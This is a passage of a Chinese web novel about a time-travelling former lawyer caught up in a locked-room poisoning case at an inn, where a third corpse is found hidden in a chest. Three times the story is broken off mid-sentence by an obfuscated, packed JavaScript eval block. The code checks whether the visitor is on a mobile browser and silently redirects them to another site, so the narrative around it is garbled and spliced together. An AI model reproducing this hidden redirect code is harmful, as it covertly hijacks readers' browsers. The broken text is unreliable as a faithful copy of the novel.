《青柯一梦(探案)》 1. 案发现场 二月立春,料峭轻寒犹拂面。 夜风吹不动如归客栈厚重的门帘子,内里的食客们却比浇了冷风还心寒,再无心思瞧我的热闹。 小二不由分说,扯着绑住我手腕的麻绳就往三楼跑。我跟在后面跌跌撞撞,几次险些趴倒。然待他脚步顿下,我抬起眼帘一瞧,还是没挡住腿软的势头。 布置简约但不失华丽的雅间中,一名衣衫不整的男子歪头趴于桌上,面容狰狞。许是错愕,许是震惊,他甚至没有闭眼,直勾勾朝我瞪来,吓得我一屁股坐在了楼梯上。 这一坐不要紧,圆桌下的场景又悉数落入我的眼中。 男子腿间还趴着一个姑娘,姿势暧昧,外衫卷到腰间,露出她泛着粉光的白皙肌肤。她也死不瞑目,嘴角还流着白色泡沫状液体。 死、死人了?两个! 天哪,所以方才小二盘问我的时候,突如其来打断的祸事,竟真是楼上有人死了! 完犊子,穿越也没改变我的倒霉体质啊。 辩护败诉,才在法院外扫了辆共享单车,就被愤怒的当事人家属一棒子打进河中,那单车八成都没关闭计时,也不知道是不是还在扣我的钱。 睁眼便穿进这同音不同字的大青朝,围着我按压指点的都是古装扮相,吓得我还以为脑子被打出了问题。 穿越也便罢了,原主身份不明,记忆丝毫没有留给我,害我紧张地当了几天黑户,现不过为了两口吃的来这客栈,不仅被小二当作小偷,居然还碰上了凶杀案。一时间职业病上身,险些压不住心中的蠢蠢欲动。 没有工牌,没有执照,不是刑事律师了啊! 我在心中默念,慌张的避开视线,却在下一瞬怔住。 等一下,这个姑娘,我认识啊!这不就是今天我趴在厨房后头的柴房窗边,从缝隙中看到盈盈走过的那名姑娘吗?扭着腰肢,甩着帕子,引得大厅食客们纷纷投去黏糊的视线。 “让开让开,县太爷来了!” 木制台阶“咯吱咯吱”中,一个挺着肥大肚子的中年男子正踏上楼梯,艰难程度堪比八月孕妇。 这动静把案发现场几人都引了出来,为首的衙差,挺胸阔肩、下颌突出,长得很像只猩猩。面对上司,猩猩当即弓下腰来,赔笑迎来:“老爷怎么亲自来了!慢点,慢点!” 县太爷明显在来的路上就得了消息,但见屋内横尸惨状,还是忍不住打了个哆嗦。“这、这咋回事啊!卫峰、卫峰怎么会……这二人怎么死在了一起?随从,卫峰没有带随从吗?旺男呢!” “旺男说一直守在门口,直到小二送来最后一道煲汤,推门就……他哭晕了,在隔壁躺着。卑职也检查了窗户,无论外窗还是内窗,都从内闩着。老爷,这、这是不是密室杀人啊?” 密室杀人? 猩猩衙差觑着上司脸色,话语不断,“老爷啊,这事可、可不好交代啊!卫府若是发难……” 县太爷揉了揉油光光的脸:“怎么搞的!咱们县里一向太平,偷鸡摸狗都少有,怎么会……卫峰,天哪,他可是个有情有义的人,是谁要害他……” 有情有义?我听到的八卦不是说他负了谁家小姐吗? “诶,这是什么人?”县太爷一屁股坐到衙差端来的椅子上,抬眼这才看见楼梯拐角窝着的我。猩猩衙差也朝我看过来,眉毛一竖。 “官爷,小女是……”我起身正要作答,拉我上来的小二已拭泪告状曰:“官爷!这就是藏在我们客栈伺机行凶的黑手!” 黑手?等等,我怎么就成黑手了? “官爷,这女子藏身于我们客栈的柴房中,被揪出来时身侧掉着横七竖八的鸡骨头。” 啊?这说的我很像黄鼠狼诶! “小人盘问她,她支支吾吾,前言不搭后语,只说愿拿头上发簪赔偿。可未经同意就偷吃,这就是贼!官爷呐,自古贼盗不分家,杀人防火都敢干呐!” 啊?这说的我又很像江洋大盗诶! “我们少爷年轻又能干,一表人才,多少姑娘想嫁入卫府!这女子定是攀附不得,杀人泄愤,竟还处心积虑潜藏以待杀机,用心极其恶毒!” 啊?这说的我怎么又成变态了! 好家伙,让你再说下去,我怕是要成天字一号大魔头了。 咽下无奈,我只得出声辩解:“官爷明鉴,小女并非凶手。昨夜小女敲门入住,实在是掌柜不允以发簪结账,这一路又没有当铺,小女走投无路,藏身只为寻个果腹,绝非存有恶意啊。” 猩猩衙差上下打量我一番,不太相信:“看着白白净净的姑娘,孤身夜行,藏在柴房……这可不是好人家姑娘做的出来的事。说,你到底是什么人!是不是你害了卫家少爷!” “不是,我真是冤枉的啊!”我也情急了,生怕在这个陌生的时代被拖走刑讯逼供,忙说出自证理由,“小女一直呆在柴房,直至被揪出来,从未上过楼!一楼那么多食客,都能证明!” 这时,站在猩猩衙差身后的一位长身玉立的书生,忽地挑眉道:“那也很难说。杀人也不一定得近身。” 徐徐谆谆的声音,探究戒备的视线……竟然是他? 余光中,是猩猩衙差也震惊的表情,但职业赋予我的辩解速度不容小觑,我当即回嘴:“杀人总得有理由吧,我是昨晚才进城的,之前我都没有来过这里,根本不认识他们。” “既是昨晚来,为何今日……” 书生的话没有问完,猩猩衙差暴躁跳脚:“欸欸欸!你问什么问!你也是个疑凶,你在这儿装腔作势个什么劲!” 县太爷也盯着书生面露不快:“怎么回事,他又是谁啊?” “此人是在小二发现死者后,第一时间冲上楼的,非常可疑!”猩猩衙差忙汇报,“您过来前,卑职正在讯问他呢。” 啊?合着这书生不是你们官府的书吏啊?方才确实是他最先反应过来,在小二吓得屁滚尿流大声呼救后,原本正瞧我被审问的热闹的食客们都懵了,唯有此人一个箭步,迅捷如豹。 书生朝县太爷拱了拱手,不卑不亢道:“在下只是赶路客,晚饭前方至贵宝地。闻得楼上突发不幸,想来瞧瞧能否救人。” “救人,你是郎中?”猩猩衙差问。 “并非。”书生答的很简洁,且透着一股不容置疑的从容。 此人面色疲倦,眼下乌青,发髻微乱,自耳边垂下几缕碎发,似是有些日子不曾好好休息了。虽穿着麻布长衫,下摆还有补丁,气质却超然,不似穷酸书生。 我登时就起了怀疑,职业病又犯了,竟忘了当下环境,直接发问:“你既非官府中人,又非救死扶伤的天职驱使,缘何不怕,敢直冲案发现场?” 书生淡定回复:“方才小二情绪不稳,或有判断错误,在下只是怕误了他人性命。此事与在下毫无瓜葛。至于姑娘你……” 我皱皱眉:“人死的时候我才刚被揪出来,更与我无关。” 书生淡笑:“案发时间你刚好被揪出来,或许就是刻意伪造不在场证明。” 我立即怼:“案发之后你立刻冲进现场,或许就是为了抹杀犯罪的证据!” 书生继续:“死者的随从可以为我证实,我与死者没有交集。” 我也不让:“楼下的食客可以为我证实,我没有作案的时机!” 针锋相对尚未得个输赢,猩猩衙差怒而打断:“都闭嘴!你们两个嫌疑犯!吵来吵去做什么!” 我悻悻飘去个白眼,正和书生扫来的眼风相撞,两两没趣。 这时,仵作走了出来,一面擦汗一面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954175|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汇报:“大人,捕头,卫少爷和这骚婆娘都是砒霜中毒而亡,毒下在酒中。” 顺着他的视线,可见桌上杯盏碗碟,尽是佳肴。但许是毒发时挣扎痛苦,男死者手边几盘菜都被掀翻,四处都是洒落的饭菜,不少碗碟也碎裂在死者脚边。酒壶倒在桌上,酒水仍正冉冉流出,自桌上滴滴答答。 店小二立时慌了:“什么?毒酒……天哪,冤枉啊!官爷,我们店里哪有毒酒啊!” 县太爷的大圆脸盘子也皱起来:“中毒死的?这如归客栈就是卫峰自己的产业,什么人在此对他下手?” 自己的产业?哦,死者就是幕后大股东啊。我说店小二为啥管卫峰叫“我家少爷”,今天看到女死者来,为啥厨娘们都愤愤不平了。 其实,以男女死者交缠在一起的死状,很容易让人想起殉情。可从我上来到现在,无一人提出该猜想,大抵便因男女死者的品行。 躲在厨房后头,在厨娘们热火朝天的八卦中,我知道这位卫峰少爷,系县中数一数二的富户,正妻病逝,正议娶新人,除了自家的三位美妾,外面也有不少相好。 女死者姓名至今不知,无论谁人谈起,她永远被叫“骚婆娘”,皆因县城有头有脸的富户几乎都与其有染。她本人则一向走肾,只要钱不动情,骂名昭著。 也即,对这二人而说,一场露水姻缘、红袖添香,谁也不会当真。 何况,二人上衫凌乱,腰带却还束着,应是尚未进入正题。这个当口,殉哪门子情啊。 出于谨慎,猩猩衙差还是将掌柜叫了上来,询问男女死者的情谊与心情。掌柜的称,卫峰今日来时兴致极高,心情大好,绝无求死念头。而女死者,听说还答应了后日赴另一富商的约,也实非吊死一棵树上的那类人。 众人对这个答案反应平静,果然如我所猜想。但那高个书生亦纹丝不动,眉毛都没抬一下,似早就料到。 奇怪,他既是晚饭前才来,那时店中八卦早就不是这对男女了,他为什么毫不惊讶? “不是殉情,那这就是谋杀了!”猩猩衙差一凛,森森目光竟朝我投来。 县太爷也望着我,皮笑肉不笑:“哪来的小女子鬼鬼祟祟独自一人?姑娘,你的身份名帖呢?” “我、我和丫鬟走散了,东西都在她那里。”我只得编了个瞎话,攥住了卡在中指上的一枚戒指。 “哦?”县太爷挑眉,脸上的肥肉也跟着耸动,“那你到底是谁?报上姓名来,再说说此去何方。” 我吞下口口水,事到如今,只能赌一把了。“小女姓王,闺名羽书,是、是上京寻亲的。” 说话间,我一直紧紧盯着眼前几人的表情,好在皱眉的皱眉、茫然的茫然,书生虽眯了眯眼,却也未表现出熟识。 我这才稍安下心,确认了原主果然未曾来过这里。 因着没有原主的记忆,她的名字我都是从这枚内侧“赠与羽书”的戒指来推断的。 至于姓氏,则是见过原主与丫鬟采买糕点的商铺老板娘所说。原主言谈间提及“咱们金华王家”“到了京城见到我爹就有办法了”等等。 可过了一日,我却被人在河中救起,神情呆滞、记忆全无,身边的丫鬟也不知踪影。更可怖的是,老板娘描绘那丫鬟的打扮特征,竟与渔夫口中在对岸一闪而过,怀疑推原主落水的身影高度重合。 怎么回事,难道原主落水并非意外? 我放心不下,索性在村中逗留了一日。毕竟此事若与丫鬟无关,她应该很快便能找来。 但结果令人失望,也让我感到不寒而栗。 我打了个冷战的同时,是县太爷重重嗤了口气,猩猩衙差立时喝道:“从未听说过,怕是个假名吧!说,你潜进客栈到底所为何事,是不是下毒杀人了!” 2. 第三个死者 我心头一颤,慌忙辩白:“冤枉啊,此事当真与我无关。酒坛储藏在柜台后,由小二打酒装在玲珑酒壶里递给食客,连厨房都不经过。我自昨晚摸进客栈后就一直躲在柴房,离柜台八丈远,根本接触不到啊。” 这可不是我瞎编。 从落水那东橘村走到这秋水县,花了我整整三天。昨晚跨进县城大门,早已饥乏交加,偏偏弹尽粮绝,簪子还被扔了出来。浑浑噩噩之际,终于被我发现这家客栈厨房后窗没上闩,自然就爬进来了。 以至于半夜以残羹冷炙填饱肚子后,我连再翻窗逃跑的力气都没了,扭身摸到厨房后面的柴房里就睡着了。 等我醒来,外间的厨房满是忙碌的厨娘伙计,切菜炒菜唠着嗑。我除了战战兢兢藏着,被迫听着各色八卦,还能怎么办? 得到了掌柜和小二不情愿的认可,猩猩衙差又问:“白天外间有人,你不敢出来,但你怎么证明昨晚你没靠近过柜台?” 废话嘛,大厅有人守夜,我还听见那人走来走去呢。否则我累的爬不上窗户,何不顺着大门跑路? “呵,可谁知道你是什么时候进来的,或许你躲在这儿好几天,就等着今日对卫少爷下手!” 啧啧,真当人家客栈缺心眼呀?今天就有伙计进来取了六次柴,若非原主身量纤细,内窗边一捆柴火又宽又长,中午我就被揪出来了! 这县城不大,如归客栈位于四条主街交叉的路口,地理位置绝佳。一天来就餐的食客络绎不绝,对柴火需求量极大。这种情况下,我怎么可能躲上几天? 再说了,男女死者什么时候来就餐,我哪能未卜先知啊? 一番自证,猩猩衙差没找到逻辑漏洞,越发恼了。我盯着他不善的目光,更为忧虑这朝代的刑事侦缉制度是否完善。 熟料,方才还与我针尖对麦芒的书生却替我说话了。他抱拳开腔,语气沉着:“列位,在下认为,王姑娘讲述的很清楚了,此案应当与她无关。其实,别说是她,除了这客栈主仆,恐怕别人都很难作案。” 猩猩衙差撇嘴:“你这小白脸又瞎扯什么呢?” 书生未恼,落落大方的解释:“吃饭时我注意到,晚间食客众多,为了加快上酒的速度,小二提前灌满了一壶壶酒,就放在柜台边。哪桌需要,便随手拿一壶送去,并没有什么顺序。那酒壶我瞧着都一模一样,也无特殊标记。” 县太爷扭头去看掌柜,后者连连点头。 “死者是死于毒酒,可给这雅间上的酒,应该是随机的。既如此,凶手又怎能预知端给死者的酒是哪壶?如何恰好下毒?” 是哦,照这个说法,在随机事项里觅到机会正中目标,以今晚送酒上楼的小二与男死者的随从可能性最大。 小二一听就急了,急赤白脸的解释起来。 县太爷却伸手制止,眼睛一直盯着书生:“呵,你倒替本官断起案来?你这书生又是什么人?” “赵大人,在下是……” 对话再一次被打断。 一个衙差三两步冲上楼梯,大声禀告:“老爷,盘问完了!一层食客晚饭期间无人上过三楼,也都未靠近厨房与柜台!” 如归客栈呈V字,一共三层。一楼大厅招待散客,正中一组楼梯上去,左侧二三层均为住宿房间,右侧则是只供应贵客或筵席的雅间。 厨娘唠嗑时说,近日几乎都是县城居民来用餐,鲜有外来住客。 衙差也正汇报至此:“今晚二三层都没有开雅间,只有卫少爷一间!住宿方面,也只来了一位客人,是个书生,但他来了就先吃饭,包袱都没拿上楼呢!” 众人视线齐齐朝高个书生投去,后者负手而立,神色坦然。 猩猩衙差一时语塞,竟有些不知所措。书生索性替他发问:“盘问死者近日人情往来了吗?在场中人,可有与他结怨的?” 下面的衙差尚未作答,猩猩衙差将佩刀一甩,不爽道:“你这厮问的什么蠢问题?这婆娘得罪的人多了去了,但卫少爷,哼!在我们秋水县,谁没得过卫少爷的照拂?谁能对他生仇啊!就拿这如归客栈来说,工钱又高还不作践打骂,想来做工的人多了去了!那些厨师、小二、掌柜吃饱了撑的谋害钱袋子啊!” “就是就是!”小二立马接过话头,“小人对我家少爷滔滔敬意,怎会害他!再说,毒下在酒里,可今天的酒就不是小人上的啊!” 猩猩衙差嘴巴一抿:“那酒是谁上的?” 掌柜骇然回复:“是小人。但小人只是从柜台上随手拿了一壶,还是和伙计一道上的楼呢!” 小二连连点头:“晚饭前卫府丫鬟带着这婆娘来,掌柜就按照少爷素日喜欢的菜色吩咐下厨。这婆娘名声多臭啊,掌柜担心她搞出幺蛾子,才在小人端菜上楼时一道来瞧瞧的呀。” 书生沉吟:“你二人自始至终在一起?” 二人点头如捣蒜。 小二还不忘补充:“小人摆菜之时,掌柜的放下酒壶,当时卫家丫鬟也在场,也能作证,小人说的绝无假话!” “这么说,卫峰与女死者并非同时来的?那丫鬟此刻又在何处?”我沉浸入当下的氛围中,也问了一句。 “小人陆陆续续上菜,到最后一道,少爷才带着随从旺男来。卫家丫鬟就走了啊,还是和小人一起下的楼呢。” “那旺男呢?” “一直守在门口。小人退出来时,亲眼见他把门带上。当时少爷就搂上了那婆娘的……”小二尬咳两声,一股脑说下去,“少爷喜欢喝母鸡汤,熬制时间长,方才总算好了,小人才端上来,推门就见……那时,旺男还守在门口呢。” 门口一直有人守着,两扇窗户又从内闩着,莫非真是密室杀人? 就毒酒而言,从小二与掌柜的叙述来看,似乎也不存在漏洞。打酒和送酒的并非一人,房间中也始终有四只眼睛,不存在任何一人与酒壶单独相处的契机。 嘿,那不是奇了,毒怎么下的? 这时,旁边屋中传来一声悠长的泣声,似是从梦中发出。 猩猩衙差身子一僵,旋即躬身请示上司:“老爷,应是卑职那没出息的表弟醒了,卑职去瞧瞧?” 表弟? 我正混乱于人物关系,那人已从隔壁房间中奔出,一身短打小厮服皱皱巴巴,发髻散落、眼红唇紫。许是悲愤的吼声过于惊悚,一时间,衙差都唬住了,无人阻挡,他得以深一脚浅一脚奔至雅间门口。 这楼梯间本就不大,方才为了给掌柜腾地儿,我也挪到了雅间门边。此人此刻毫无章法的路径,就一下怼到了我面前,加之他心神俱衰,脚下不稳,竟重重撞到我的肩膀,扯着我一道栽进了屋中。 双手还被绳索束着,我几乎是毫无抵挡的栽倒,险些摔个狗吃屎。脚腕磕到了门槛,手腕也破了皮,我真是一口气上不来只想骂娘。 这一变故发生的太快,还是书生先反应过来,三步作两步跨来,弓腰搀我起身,扶到门边角落一口容食客放包袱的雕花木箱上坐下,一面轻声问:“你没事吧?需要给你叫郎中吗?” 需要啊,我这哪哪都疼! 我抬头欲答,正碰上书生低头认真的眉眼。 方才楼梯间灯光昏暗,我竟未发现,倦怠之下,此人面容清朗,儒雅俊逸,一双眼眸尤为上佳,深邃如渊不见底,却又似溪般清澈,真真神凝秋水、炯炯曙星。 心头一跃,我忘记了回答。 正巧,因着我俩这嫌疑犯身份,也没人施加关心。紧随书生奔来的猩猩衙差只顾着搀扶表弟,一面训斥:“旺男!你往哪儿跑!这是案发现场,谁让你冲进来的!” 旺男一把拂开表兄,捶地大哭:“少爷,少爷!您怎么就这么去了!表哥,这到底怎么回事啊!我家少爷怎么就死了!” 猩猩衙差揪住他的袖子:“行了,别哭了!我还要问你怎么回事呢!你是不是守在门口?有没有外人进入过?” “没有!”旺男大吼,“少爷和那骚婆娘亲热,哪来的外人?我一直在门口,根本没人进去过!” “酒呢?也就开始送过一壶,再没送过了?” “没有了啊!” 猩猩衙差也没辙了,顿了顿才又问:“那、那你就没听到什么不对劲的动静?” 旺男泣道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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显然,这番对话由我与书生主导,着实下了他的面子。只听外间一声冷哼,他呵斥道:“怎么回事!这二人身份不明,嫌疑还没解除,怎得由着他二人发问!这到底是谁的府衙!本官还在此呢,有无将本官放在眼里!” 这话重了,猩猩衙差立时狠瞪我们,竟直接下令:“老爷说得对,你二人莫要在此废话连篇!来人,将这俩不知天高地厚的玩意抓起来!” 什么? 我慌忙扶膝起身,余光却见书生稳如泰山,还正慢悠悠从怀中掏着什么,全然不把冲来的衙差放在眼里。 这架势……啧啧,有身份呐? 然而猝不及防的惊呼声再次将场面按下暂停键,是仍半坐在地上的随从旺男,忽地指着我的裙角,哆嗦着大叫:“血、血,有血!” 我低头一看,月牙白色的裙角微微荡着,红褐色血迹若隐若现。 什么情况,我来姨妈了? 众人证忪间,书生却脸色一变,一把将我拉开,继而撩袍蹲下,凝视我方才坐着的雕花木箱。 眼睛一跳,我这时也注意到,约两尺宽的木箱,盖子一侧颜色深于箱体,似是染上了——“血,是血。”书生已然伸手抹了一把,放于鼻下轻嗅。 “都让开些,无关人等撤开。”书生吩咐,声音不大却极有威严。 猩猩衙差听话的拖走了表弟,打发了掌柜与小二,回过神来还搔搔头,大有一种“诶,我怎么就听他指使”了的茫然。 但此间气氛已凝重如胶,无人说话,连门外的县太爷都狐疑的站起身往里瞧。 众目睽睽下,书生面色凝重的拉开锁扣抬起了箱盖。映入眼帘的是一个扭曲的物体,我盯着片刻,才意识到—— 箱中塞得满满当当的竟是个身子躬着、抱膝弯腰状的人。脑袋与脖颈呈90度折角,一双浸满鲜血的眼瞪得浑圆,紫色的舌头伸到下巴外…… 死人,又是个死人! 3. 二甲十四 脑中一片空白,我只觉两腿轻飘无力,直直朝地上软下。 书生眼疾手快扶住了我:“王姑娘,你没事吧?” 我差点吐了出来。 事实上,除了书生还算沉着,在场诸人全部乱做一团。县太爷屁股一歪,朝他身侧的猩猩衙差身上倒去。后者都没来及恶心,就被压倒在大屁股下,脸都涨红了。方才上前拿人的俩衙差近距离瞧见死相,已冲到外间捧腹剧烈呕吐。 县太爷被四个衙差抬着,挪到了对面的空屋子,脸色煞白,比放了血的猪皮还要惨淡。“谁……又是谁……” 猩猩衙差腿抖着爬起来,在领导的死亡逼视下,硬撑着自己再次打开了箱盖。众衙差躲得躲,避的避,没人敢上前帮忙。 眼睛瞟过一下,猩猩衙差就恶心的闭上了眼,捂嘴强压下反胃,话都说不利索了:“天、天哪!这、这是西、西元堂少、少东家啊!” 县太爷一个趔趄,差点扑翻身侧的方几。 “什么!你再说一遍!” 所有人都震住了,猩猩衙差嗫嚅着张了张口,却实在说不出第二遍。 豆大的汗珠从县太爷宽大额头冒出,下一瞬,他直接昏了过去。 胳膊上的力道重了些,我迟钝的瞧过去,才发觉书生一直扶着我。 “你还好吗?” 吼间滚动,我摆摆手说不出话来。以前卷宗中现场惨烈的照片也没少见,但我哪实地面对面过? 恶心是一回事,更骇人的在于,同个现场,竟又冒出个死者。两名倒在桌边,还有个藏身于箱中,实在是诡异可怖啊。 西元堂……今天在柴房,我听到的八卦中似也包含此名。 这应该是个医馆,在当地颇有名气。其少东家更是传奇,带领西元堂从没落走向辉煌,实乃医馆行业领军人物。可那卫峰,虽也是商贾,却与西元堂并非同一行业。而女死者,关于她的冗长情史,我听着,内无此人啊。 这三人,怎么死到了一起? 等到县太爷的人中快要被掐紫时,他终于醒了。环顾一圈,他将眼神聚焦在下属脸上,随后便是一顿削。 “好啊,你这捕头当的好啊!这么久了,案发现场你都没检查一遍?这么大个人在箱子里!竟然还要别人替你发现尸体,这就是你勘察的现场?啊?” 猩猩衙差被抽的嗷嗷叫,也不敢反驳,委屈且难堪。旁边的衙差个个缩着脖子弓着腰,更无人敢劝,都怕县太爷气头上来连他们一起削。 最后还是书生看不下去了,出声制止:“还是先把仵作叫回来验尸吧。” 猩猩衙差也终于逮住了机会,凑到喘粗气的领导身边表忠心:“老爷,老爷,卑职保证一定尽快查案,给您个交代!” 县太爷狠狠剜一眼属下,腮帮子都鼓了出来:“给我交代有什么用!这下可好,一下死俩富户,还都是年轻有为的当家人!你叫老爷我怎么给西元堂和卫府交代?” 猩猩衙差猛缩脖子:“那个、那个,要不先封锁消息,晚些报丧?” 书生并不赞同:“卫峰这对死者,方才店小二已经叫喊的人尽皆知,如何能堵住攸攸之口?” 猩猩衙差脸一白,但见领导又瞪过来,忙找补:“那就先瞒住西元堂,一桩桩的查,查完再报!” 这次不同意的是县太爷:“屁话,这怎么能行!西元堂都是懂行的,回头尸体交回去发现死亡时间有问题,察觉咱们刻意隐瞒,不得打上门来啊?你有没有脑子!” 猩猩衙差被骂的苦瓜着脸,鼻翼扇动几下,却不敢再说什么。 县太爷恼羞之至,深吸口气,又将矛头丢来,继续对我二人发难,大有一种抛锅的意图。 “我秋水县一向太平,从未发生此等恶事!你两个生面孔一来,就惹出这许多风波。依本官看,你二人定与此间命案有关!来人,给本官将此二人押入大牢!” 得,又来了! 我立即看向书生,心说大佬求解救,快亮身份吧,别玩低调那一套了! 书生也没再耽搁,伸手从怀中掏出块黑色牌子,径直丢给了就近的衙差。 衙差下意识低头一瞧,脸色骤变,再朝书生觑来,犹如看洪水猛兽。“老爷,老爷!他、他是……”衙差跳脚着送去,好像手上拿的是块烫手山芋。 一脸愠色的老爷狠狠瞪他一眼,嫌弃他不够稳重。可轮到自己接过来一瞥,竟直接从椅子上滑下,跪坐到了地上。 在场诸人都吓了一跳,唯有看过牌子的衙差也跟着跪下了。 猩猩衙差不明就里,试图扶起领导。“老爷,这是怎么了?” 县太爷一把打开他的手,死死盯着书生,半晌捋不直舌头:“您、您老是?您不会,不会是御青王,殿、殿下吧?” “殿下?”我懵了。 “御青王?”猩猩衙差慌了。 什么?这穿着朴素的书生竟然还是个皇亲贵胄? 书生微微一笑,露出了浅浅的梨涡,如藏琥珀,似点樱桃。 他淡声道:“赵大人误会了,天下谁人不知御青王骁勇善战、武艺高强,您看我手无缚鸡之力,当知不是。在下只是殿下身边的低等幕僚,此番是替殿下出京办事,故而持有王府令牌。” 赵大人垂眼再看一遍书生打扮,露出了释然的表情,缓缓起身。我心说你这就信了?自始至终无人介绍过你的姓氏,你就不奇怪,他怎么知道? 莫非还有隐藏身份? 书生果然又道:“哦,赵大人,忘说了,在下是泰真十五年的进士,二甲十四名。” “进士?”猩猩衙差手一松,差点扔下起身到一半的老爷。 “二甲十四?”赵大人身子晃晃,地板都跟着震了三震。 四字过后,我只觉面上一道劲风闪过,再回眼,赵大人已闪光间奔至书生面前,身轻如燕,马踏飞燕。 他不由分说抱住了书生的胳膊,在书生的震惊中,贴面堆笑:“呀呀呀!原来是御青王身边的有识之士啊!你看我,你看我,下官有眼不识泰山了!难怪公子如此玉质金相、芝兰玉秀!是下官无礼了,无礼了!” 什么情况? 你县丞不也是科举出身的吗?他排十四,但他只是个幕僚诶! 书生嘴角颤抖,战术后退,往外拔自己的胳膊,使了使劲竟没成功。只好皱眉劝阻:“赵大人,不必如此,在下只是途径宝地叨扰一二,断非故意给大人难堪。大人尽管破案,无需对在下特别照顾,也不用担心在下回京会乱说。” 哦,原来症结在这儿啊。 赵大人笑容一僵,但不敢尽信书生的保证,依旧对书生极力讨好。 书生继续致力于拔胳膊:“赵大人,赵大人,请松开在下,破案、破案要紧啊!赵大人!” 眼看对方不断挣扎,赵大人终是恋恋不舍的放开,但仍凑在书生面前,那脸都要贴到书生嘴唇了。“公子海涵!下官实在是猪油蒙了心,才会对您有所怀疑,言辞大大的不敬!” 书生倒也没拿乔,只是后退两步。“在下莫名出现在案发现场,大人有所怀疑也正常。不过请大人放心,在下的确是傍晚才到贵县。进城门时还咨询过守卫下榻之处,相信他还有印象,能为在下作证。” “哪里话,哪里话!”赵大人一拍胸膛,身上肥肉荡了三荡,“公子既有功名在身,又是御青王身边的人,怎么可能与命案有关?是下官鲁莽了,公子海涵,公子海涵啊!” 呵,这叫什么世道?他有身份背书,就自然解除了嫌疑,连询问人证都免了?我灰头土脸,就被押着问了这么久,手腕绳索还没解开呢! 书生也正朝我瞟来,温声道:“赵大人,这位王姑娘方才自证有理有据,相信本案也非她所为。既如此,不妨帮她解开绳索吧,姑娘家家……” 没说完,赵大人已经挥手示意手下,一面朝我挤着笑容:“应当的,应当的!真是委屈姑娘了,方才姑娘也吓得不轻,身子骨可还好?” …… 狐假虎威,原来是这滋味啊。至少绳索总算解开,所以我还是做作的福了福身:“劳大人记挂,小女无碍。” 赵大人简略颔首,一颗心还扑在书生身上,又谄媚地问:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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赵大人仍未放松,明显对下属没有信心,于是将期待的目光投向了凌轩,斟酌道:“凌公子,今日真是不好意思,让您受惊了。下官在这县城驻守了五六年,从未发生如此恶性事件,手下也都是不中用的!方才见公子面对血腥可怖场景依旧处之不变,心思细腻观察入微,实在是聪慧过人呐。” 意图有些明显,凌轩却只谦虚笑笑:“大人过誉了。并非在下胆量过人,其实是殿下时有派我协助京城府丞处理刑事案件,这种场面也不是第一次见了。” 赵大人一听,两只绿豆小眼直冒星星,再一次抱住凌轩的胳膊:“天哪,凌公子,您就是下官的恩人啊!我说怎么会在这晦气的地方碰上您呢,合着您就是老天爷赐给下官的救星啊!” 凌轩眉毛都挑到太阳穴了。 “凌公子,您可不能见死不救啊!下官哪里勘察过这么大的案子!您看今天这才刚案发,就出现了这么大的纰漏!凌公子,求求您,求求您,您可一定要帮助下官啊!” 凌轩抽了两下,胳膊没抽出来,无语的塌下肩膀,只得勉强应下。 但我盯着这一幕,却清楚的感知到,并非展现出的无奈,凌轩方才各种措辞,明显是有意揽下此案的呀。 为什么?难道此人与本案其实有所关联? 我正琢磨,凌轩目光忽然扫来:“赵大人,依在下看,王姑娘莫名卷入此案,实属无妄之灾,不如……” “我懂,我懂!”赵大人马上接口,“今晚就委屈姑娘也宿在我的宅邸。姑娘本来要上京?不妨明日本官派人派车,送姑娘回去。” 还有这等好事? 我眼睫一跳,正要答应,凌轩忽又一笑:“赵大人误会了,在下的意思是,此案诡异可怖,王姑娘方才目睹骇人一幕,或许会化成梦魇,影响姑娘好眠。” 我愣了,赵大人也糊涂了,小心的问:“那、那您的意思是?” 凌轩定定的看着我,眼眸幽深:“方才姑娘自证清白,条理清晰、有理有据;盘问人证,也颇有章法。在下便想,不如姑娘多留几日,也帮着查问查问。早些查清案件,也可解开心结嘛。” 徐徐娓娓的声线,却透着谆谆深意。我一时愕然,竟忘了回答。 赵大人亦颇为诧异,但不容他说话,猩猩衙差喘着粗气奔了上来,大吼一句:“老爷,卑职知道、知道谁是凶手了!” 4. 不是中毒 我和凌轩对视一眼,俱是诧异。赵大人生怕属下丢人,喝问了句:“你又瞎扯什么!” 猩衙差却成竹在胸,眨巴着眼:“老爷,武大郎,武大郎啊!” 赵大人圆脸一僵,缓慢地说:“你怀疑他?” “是啊老爷!”猩猩衙差激动得解释,“他是这婆娘的男人,眼看婆娘勾搭了一个又一个,终于忍无可忍也很正常啊!” “可……”赵大人有些犹豫,“那关西元堂少东家什么事?谁不晓得他洁身自好,从不流连花丛?难道他和这婆娘……” 赵大人难以置信,猩猩衙差却摇头如拨浪鼓:“不不不,不是一档子事!少东家才不会被这骚货迷惑。老爷啊,卑职要说的,是卑职前几日亲眼目睹,他对武大郎发火来着!” “发火?为什么?武大郎一卖烧饼的,还敢得罪他?”赵大人也奇了。 卖烧饼?嘶,这剧情走向有点熟悉啊。 